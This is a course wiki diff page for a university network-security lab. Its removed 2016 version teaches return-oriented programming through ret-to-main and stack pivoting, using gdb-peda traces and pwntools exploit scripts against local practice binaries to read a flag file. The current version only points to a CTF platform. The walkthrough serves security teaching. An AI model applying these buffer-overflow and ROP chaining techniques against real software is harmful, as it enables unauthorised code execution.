Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-11 [2016/12/11 22:22]
vladimir.diaconescu Initial draft
cns:labs:lab-11 [2022/01/18 15:59] (current)
razvan.deaconescu
Line 1: Line 1:
-====== Lab 11 - Return Oriented Programming ​(Part 2) ======+====== Lab 11 - CTF Challenges ​(part 1) ======
  
 ===== Resources ===== ===== Resources =====
  
-  * [[http://neilscomputerblog.blogspot.ro/2012/​06/​stack-pivoting.html|More about stack pivoting and creating a "fake stack"]]+  * [[https://cns-lab-ctf21.cyberedu.ro/#challenges|CyberEdu CNS CTF platform]]
  
-===== Supporting files =====+===== Feedback ​=====
  
-===== Introduction =====+In order to improve the Computer Network Security course, your opinions and suggestions are important to us. The feedback is anonymous and the results will only become visible after the final exam. You will find the link to the feedback form on the main page of the curs.pub.ro instance for your master'​s program CNS class (either PDCS or SRIC). It's **not** in the meta-course for all students.
  
-In this lab, we will resume from where we left off our [[http://​ocw.cs.pub.ro/​courses/​cns/​labs/​lab-10|last session]].+===== Task =====
  
-In many real-life cases you will encounter, a vulnerability will consist of a small buffer overflow, which will not allow you to chain a list of gadgets of arbitrary length. However, there are techniques to circumvent ​this. Today, we will look at two of these techniques.+In this lab you will put to good use everything ​you have learned during ​this course with some CTF style 
 +tasks in the same style as the assignments.
  
-==== Ret-to-vuln ==== +Use the `11-ctf1`-prefixed challenges on the [[https://cns-lab-ctf21.cyberedu.ro/#challenges|CyberEdu CNS CTF platform]] and solve the tasks related ​to this lab.
- +
-Should you need to ret to multiple functions, but you only have space for two or three, then you can choose to return to ''​main''​ again, or to the function in which the bug is present. +
- +
-==== Stack pivoting ==== +
- +
-A more elegant solution is to "​pivot"​ the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow. +
- +
-Pivoting the stack basically means getting ''​ESP''​ to point elsewhere in memory, preferably a read-writable location which we control. +
- +
-Supposing we find such a region in memory, we can simply return to a ''​call read''​ and simulate a call to ''​read(0,​ pivot, size);''​. The ''​pivot''​ address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size. +
- +
-But how do we get ''​ESP''​ to point to a different region in memory? If you think about the ''​leave''​ instruction,​ which roughly does the following, you will begin to see an answer: +
- +
-<code asm> +
-mov esp, ebp +
-pop ebp +
-</​code>​ +
- +
-Hence, when we overwrite the stored frame pointer, we can set its value to where we'll want ''​ESP''​ to point to. +
- +
-===== Tasks ===== +
- +
-==== 1. Return to main [4p] ==== +
- +
-Analyze the source file ''​task1.c''​. See if you can spot the vulnerability. +
- +
-The goal of the task is to get the contents of the ''​flag''​ file through the binary. In order to do this, we need to chain three functions together. +
- +
-=== Tutorial: Finding the return address offset [1p] === +
- +
-<code asm> +
-# gdb ./task1 +
-gdb-peda$ pattc 0x40 +
-'​AAA%AAsAABAA$AAnAACAA-AA(AADAA;​AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'​ +
-gdb-peda$ r +
-Starting program: /task1  +
-Welcome to our Retired Old Programmers message board! +
-Please leave a message:  +
-AAA%AAsAABAA$AAnAACAA-AA(AADAA;​AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH +
-Program received signal SIGSEGV, Segmentation fault. +
- +
-[----------------------------------registers-----------------------------------] +
-EAX: 0x40 ('​@'​) +
-EBX: 0x0  +
-ECX: 0xff838de8 ("​AAA%AAsAABAA$AAnAACAA-AA(AADAA;​AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH\274\216\203\377"​) +
-EDX: 0x40 ('​@'​) +
-ESI: 0xf76e0000 --> 0x1aedb0  +
-EDI: 0xf76e0000 --> 0x1aedb0  +
-EBP: 0x41304141 ('​AA0A'​) +
-ESP: 0xff838e18 ("​bAA1AAGAAcAA2AAH\274\216\203\377"​) +
-EIP: 0x41414641 ('​AFAA'​) +
-EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +
-[-------------------------------------code-------------------------------------] +
-Invalid $PC address: 0x41414641 +
-[------------------------------------stack-------------------------------------] +
-0000| 0xff838e18 ("​bAA1AAGAAcAA2AAH\274\216\203\377"​) +
-0004| 0xff838e1c ("​AAGAAcAA2AAH\274\216\203\377"​) +
-0008| 0xff838e20 ("​AcAA2AAH\274\216\203\377"​) +
-0012| 0xff838e24 ("​2AAH\274\216\203\377"​) +
-0016| 0xff838e28 --> 0xff838ebc --> 0xff83a1b0 ("​LC_PAPER=ro_RO.UTF-8"​) +
-0020| 0xff838e2c --> 0x0  +
-0024| 0xff838e30 --> 0x0  +
-0028| 0xff838e34 --> 0x0  +
-[------------------------------------------------------------------------------] +
-Legend: code, data, rodata, value +
-Stopped reason: SIGSEGV +
-0x41414641 in ?? () +
-gdb-peda$ patto AFAA +
-AFAA found at offset: 44 +
-</​code>​ +
- +
-Our return address is at offset 44 and the total amount read is 64. That leaves us room for 5 gadgets, which are not enough to call three functions with 3 arguments in total. +
- +
-=== Tutorial: Opening the flag file and returning to main [1p] === +
- +
-Let's think about how a small ropchain needs to look like if we want to: +
-1. Return to the function which opens the flag file. +
-2. Pass it the correct argument. +
-3. Return to ''​main''​ afterwards. +
- +
-<​code>​ +
-[ESP]   <​address_of_stop>​ +
-[ESP+4] <​address_of_main>​ +
-[ESP+8] <​valid_argument_for_stop>​ +
-</​code>​ +
- +
-We'll need to save a few useful addresses: +
-<code bash> +
-# nm task1 | egrep "​main|stop|right|there|play"​ +
- 0804862d T main +
- 080485fb T play +
- 08048571 T right +
- 0804851b T stop +
- 080485d1 T there +
-</code> +
- +
-Let's start writing our exploit script. +
- +
-<code python>​ +
-#!/usr/bin/env python +
-from pwn import * +
- +
-io = process('​./​task1'​) +
- +
-# Useful values +
-ret_offset = 44 +
-main_addr = 0x0804862d +
-play_addr = 0x080485fb +
-open_flag = 0x0804851b +
-open_key = 0x4ABADA55 +
- +
-# Construct payloads +
-payload_to_ret = '​A'​*(ret_offset-4) + p32(play_addr-4) +
- +
-payload1 = payload_to_ret +
-payload1 += p32(open_flag) +
-payload1 += p32(main_addr) +
-payload1 += p32(open_key) +
- +
-io.recvline() +
-io.recvline() +
-io.sendline(payload1) +
- +
-io.interactive() +
-</code> +
- +
-Let's test this code to see if it works: +
- +
-<code bash> +
-./test.py  +
-[+Starting local process '​./​task1':​ Done +
-[*Switching to interactive mode +
--> secret vault opened +
-Welcome to our Retired Old Programmers message board! +
-Please leave a message:  +
-$  +
-[*] Stopped program '​./​task1'​ +
-</​code>​ +
- +
-=== Reading ​and printing ​the flag [2p] === +
- +
-Build two more similar payloads ​to send, one to return to the function which reads the contents of the flag and another which prints the flag. Remember to return to ''​main''​ in order to be able to chain the two together. +
- +
-==== 2. Stack pivoting [6p] ==== +
- +
-Navigate to ''​task2''​. Notice that we have the same source file. This time, we will pivot the stack before supplying our ROP chain. +
- +
-=== Tutorial: Finding a place to pivot [1p] === +
- +
-We can use ''​gdb-peda''​ to see the memory mappings of a binary at runtime. +
- +
-<code asm> +
-gdb-peda$ vmmap +
-Start      End        Perm     ​Name +
-0x08048000 0x08049000 r-xp     ​task1 +
-0x08049000 0x0804a000 r--p     ​task1 +
-0x0804a000 0x0804b000 rw-p     ​task1 +
-0xf75e9000 0xf75ea000 rw-p     ​mapped +
-0xf75ea000 0xf7797000 r-xp     /​lib32/​libc-2.23.so +
-0xf7797000 0xf7799000 r--p     /​lib32/​libc-2.23.so +
-0xf7799000 0xf779a000 rw-p     /​lib32/​libc-2.23.so +
-0xf779a000 0xf779e000 rw-p     ​mapped +
-0xf77c3000 0xf77c5000 r--p     ​[vvar] +
-0xf77c5000 0xf77c6000 r-xp     ​[vdso] +
-0xf77c6000 0xf77e8000 r-xp     /​lib32/​ld-2.23.so +
-0xf77e8000 0xf77e9000 rw-p     ​mapped +
-0xf77e9000 0xf77ea000 r--p     /​lib32/​ld-2.23.so +
-0xf77ea000 0xf77eb000 rw-p     /​lib32/​ld-2.23.so +
-0xffba5000 0xffbc6000 rw-p     ​[stack] +
-</​code>​ +
- +
-The region beginning at 0x0804a000 looks suitable, but just to be safe, let's not choose the starting address. +
- +
-<​code>​ +
-gdb-peda$ x/20xw 0x0804a000 +
-0x804a000:​ 0x08049f14 0xf77ea918 0xf77daed0 0x080483a6 +
-0x804a010:​ 0x080483b6 0x080483c6 0x080483d6 0x080483e6 +
-0x804a020:​ 0x080483f6 0xf7602540 0x00000000 0x00000000 +
-0x804a030:​ 0x00000000 0x00000000 0x00000000 0x00000000 +
-0x804a040 <​stdout@@GLIBC_2.0>:​ 0xf7799d60 0x00000000 0x00000000 0x00000000 +
-gdb-peda$ x/20xw 0x0804ad00 +
-0x804ad00:​ 0x00000000 0x00000000 0x00000000 0x00000000 +
-0x804ad10:​ 0x00000000 0x00000000 0x00000000 0x00000000 +
-0x804ad20:​ 0x00000000 0x00000000 0x00000000 0x00000000 +
-0x804ad30:​ 0x00000000 0x00000000 0x00000000 0x00000000 +
-0x804ad40:​ 0x00000000 0x00000000 0x00000000 0x00000000 +
-</​code>​ +
- +
-Apart from the reason that values are not zero at the starting address, there'​s also the risk of the stack pointer going off bounds into values lower than the starting address, where there is no write permission. +
- +
-=== Tutorial: First stage payload [2p] === +
- +
-We need to find a sequence of instructions akin to: +
- +
-<code asm> +
-call read +
-leave +
-ret +
-</​code>​ +
- +
-If we look around in the disassembled functions, we notice that ''​play''​ has just what we need at the end: +
- +
-<code asm> +
-   ​0x08048623 <​+40>:​ call ​  ​0x80483a0 <​read@plt>​ +
-   ​0x08048628 <​+45>:​ add ​   esp,0xc +
-   ​0x0804862b <​+48>:​ leave ​  +
-   ​0x0804862c <​+49>:​ ret +
-</​code>​ +
- +
-We will use this sequence to pivot the stack. +
- +
-Our payload must do a call to ''​read(0,​ pivot, size);'',​ so it should look as follows when reaching ret: +
- +
-<​code>​ +
-[ESP-4] ​ <​pivot-4> ​      # Overwrite EBP +
-[ESP]    <call read> +
-[ESP+4] ​ 0x0             # stdin +
-[ESP+8] ​ <​pivot> ​        # "​buffer"​ +
-[ESP+12] 0x200           # size +
-</​code>​ +
- +
-With all the pieces in place, we should have a working pivoting payload: +
- +
-<code python>​ +
-#​!/​usr/​bin/​env python +
-from pwn import * +
- +
-io = process('​./​task1'​) +
- +
-# Useful values +
-ret_offset = 44 +
-call_read = 0x08048623 +
-pivot = 0x0804ad00 +
- +
-# Construct payloads +
- +
-payload1 = '​A'​*(ret_offset-4) +
-payload1 += p32(pivot-4) +
-payload1 += p32(call_read) +
-payload1 += p32(0) +
-payload1 += p32(pivot) +
-payload1 += p32(0x200) +
- +
-log.info(io.recvline()) +
-log.info(io.recvline()) +
-gdb.attach(io) +
-raw_input("​Send payload?"​) +
-io.sendline(payload1) +
- +
-io.interactive() +
-</​code>​ +
- +
-In order to see pivoting in action, do the following:​ +
- +
-<​code>​ +
-# ./test.py +
-[+] Starting local process '​./​task1':​ Done +
-[*] Welcome to our Retired Old Programmers message board! +
-[*] Please leave a message:  +
-[*] running in new terminal: gdb -q  "/​task1"​ 4770 +
-[+] Waiting for debugger: Done +
-Send payload?  +
-</​code>​ +
- +
-This will spawn a new ''​gdb-peda''​ window. Set a breakpoint at the return address of ''​play''​ (''​0x0804862c''​) then ''​continue''​. In the other window (the one waiting for you to answer ''​Send payload?''​),​ hit ''​Enter''​. You will notice gdb hits the breakpoint and now you can single step (via ''​ni''​). +
- +
-Once you reach ''​call read'',​ gdb will block. In the pwntools interactive window, give an input such as ''​AAAA''​ to complete the read call and unblock gdb. Continue stepping until you reach the ''​leave''​ instruction. Notice how the value of ''​ebp+4''​ gets written over ''​esp''​. The following ''​ret''​ instruction will take you to your pivot address, at which you will find your ''​AAAA''​. +
- +
-=== Second stage payload [2p] === +
- +
-Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file. +
- +
-<note tip> +
-**Hint: **You will need to find a ''​pop;​pop;​ret''​ gadget. You can use it even for functions with a single argument by simply writing the argument twice. +
-</​note>​+
cns/labs/lab-11.1481487779.txt.gz · Last modified: 2016/12/11 22:22 by vladimir.diaconescu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0